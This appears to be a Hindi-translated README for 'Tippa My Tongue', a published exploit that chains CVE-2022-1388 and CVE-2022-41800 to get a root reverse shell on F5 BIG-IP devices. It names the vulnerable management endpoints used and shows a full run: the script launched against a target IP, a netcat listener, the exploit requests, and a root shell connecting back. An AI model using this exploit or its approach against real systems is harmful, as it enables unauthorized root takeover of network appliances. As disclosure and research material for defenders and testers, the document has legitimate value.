j-baines/tippa-my-tongueF5 BIG-IP एक्सप्लॉइट: CVE-2022-1388 और CVE-2022-41800 का उपयोग करके
Tippa My Tongue एक एक्सप्लॉइट है जो CVE-2022-1388 और CVE-2022-41800 का उपयोग करके F5 BIG-IP उत्पादों पर root रिवर्स शेल स्थापित करता है। अधिकांश CVE-2022-1388 एक्सप्लॉइट /mgmt/tm/util/bash का उपयोग करके कोड निष्पादन प्राप्त करते हैं। हालाँकि, यह एक्सप्लॉइट /mgmt/shared/iapp/rpm-spec-creator और उसके बाद /mgmt/shared/iapp/build-package का उपयोग करता है। यह दृष्टिकोण सबसे पहले Ron Bowes द्वारा इस AttackerKB विश्लेषण में सुझाया गया था। हालाँकि, मेरी जानकारी के अनुसार, किसी ने भी CVE-2022-1388 एक्सप्लॉइट प्रकाशित नहीं किया जिसने ठीक ऐसा ही किया हो।
अधिक विवरण के लिए, VulnCheck राइटअप पढ़ें।
albinolobster@mournland:~/tippa-my-tongue$ python3 tippa-my-tongue.py --rhost 10.9.49.191 --lhost 10.9.49.194
▄▄▄▄▄▪ ▄▄▄· ▄▄▄· ▄▄▄· • ▌ ▄ ·. ▄· ▄
•██ ██ ▐█ ▄█▐█ ▄█▐█ ▀█ ·██ ▐███▪▐█▪██
▐█.▪▐█· ██▀· ██▀·▄█▀▀█ ▐█ ▌▐▌▐█·▐█▌▐█▪
▐█▌·▐█▌▐█▪·•▐█▪·•▐█ ▪▐▌ ██ ██▌▐█▌ ▐█▀·.
▀▀▀ ▀▀▀.▀ .▀ ▀ ▀ ▀▀ █▪▀▀▀ ▀ •
▄▄▄▄▄ ▐ ▄ ▄▄ • ▄• ▄▌▄▄▄ .
•██ ▪ •█▌▐█▐█ ▀ ▪█▪██▌▀▄.▀·
▐█.▪ ▄█▀▄ ▐█▐▐▌▄█ ▀█▄█▌▐█▌▐▀▀▪▄
▐█▌·▐█▌.▐▌██▐█▌▐█▄▪▐█▐█▄█▌▐█▄▄▌
▀▀▀ ▀█▄▀▪▀▀ █▪·▀▀▀▀ ▀▀▀ ▀▀▀
CVE-2022-1388
CVE-2022-41800
🦞
[+] Executing netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Sending initial request to rpm-spec-creator
[+] Sending exploit attempt request to build-package
Connection received on 10.9.49.191 47152
bash: no job control in this shell
[@localhost:NO LICENSE:Standalone] BUILD # pwd
pwd
/var/config/rest/node/tmp/BUILD
[@localhost:NO LICENSE:Standalone] BUILD # id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[@localhost:NO LICENSE:Standalone] BUILD #